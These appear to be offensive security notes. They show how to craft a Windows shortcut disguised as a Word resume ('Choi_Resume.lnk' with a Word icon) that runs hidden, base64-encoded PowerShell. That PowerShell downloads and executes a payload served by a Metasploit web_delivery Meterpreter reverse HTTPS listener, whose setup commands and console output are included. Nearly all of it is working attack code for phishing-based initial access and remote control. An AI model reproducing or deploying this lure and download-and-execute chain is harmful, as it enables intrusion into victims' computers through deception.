$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\opt\lnk\Choi_Resume_CV_Dialog.lnk")
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.exe"
$link.arguments = "/c start cmd.exe"
$link.save()
Last updated
msfconsole
use exploit/multi/script/web_delivery
set pyaload windows/x64/meterpreter/reverse_https
set lhost <ip>
set lport <port>
exploit
[*] Exploit running as background job 5.
[*] Exploit completed, but no session was created.
[*] Started HTTPS reverse handler on https://192.168.40.182:443
[*] Using URL: http://192.168.40.182:8080/3XQSv3
[*] Server started.
[*] Run the following command on the target machine:
msf6 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -e <....>$command = 'iex(new-object net.webclient).downloadstring("http://192.168.40.182:8080/3XQSv3")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("C:\testdefender\Choi_Resume.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.exe"
$link.arguments = "-Nop -w hidden -enc $($encodedCommand)"
$link.save()